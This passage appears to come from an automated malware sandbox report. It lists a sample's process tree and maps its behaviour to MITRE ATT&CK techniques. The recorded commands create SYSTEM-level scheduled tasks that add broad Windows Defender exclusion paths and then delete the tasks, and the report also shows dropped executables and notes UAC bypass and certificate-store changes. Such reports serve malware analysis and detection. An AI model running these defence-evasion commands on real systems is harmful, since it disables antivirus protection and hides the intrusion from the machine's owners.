    PID:5316
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5192
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3632
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1304
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1240
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5468
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5212
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4612
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1804
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5608
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5628
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2128
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5296
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5964

C:\Users\Public\4xUpaL\1nDnu8.exe
"C:\Users\Public\4xUpaL\1nDnu8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6140

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4xUpaL" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4xUpaL" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3880

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:220

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4108

C:\Program Files (x86)\IsTteQ\d0zaQS.exe
"C:\Program Files (x86)\IsTteQ\d0zaQS.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4544

C:\Program Files (x86)\IsTteQ\d0zaQS.exe
"C:\Program Files (x86)\IsTteQ\d0zaQS.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3588

C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe
"C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5360

C:\ProgramData\bDdCSBxl.exe
C:\ProgramData\bDdCSBxl.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3500

C:\ProgramData\n5CWFYHg\AqIFQndV.exe
C:\ProgramData\n5CWFYHg\AqIFQndV.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:6072

C:\ProgramData\VGTWzlqp\AK2zfV1e.exe
C:\ProgramData\VGTWzlqp\AK2zfV1e.exe 1776
1⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:3252

C:\Program Files (x86)\IsTteQ\d0zaQS.exe
"C:\Program Files (x86)\IsTteQ\d0zaQS.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3124

C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe
"C:\Program Files (x86)\C2R1rV7\0RTACPZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1828

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\IsTteQ" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4860
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\IsTteQ" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3144

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4216
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1080

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5500
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2776

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5764
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1032

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6024
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:1772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry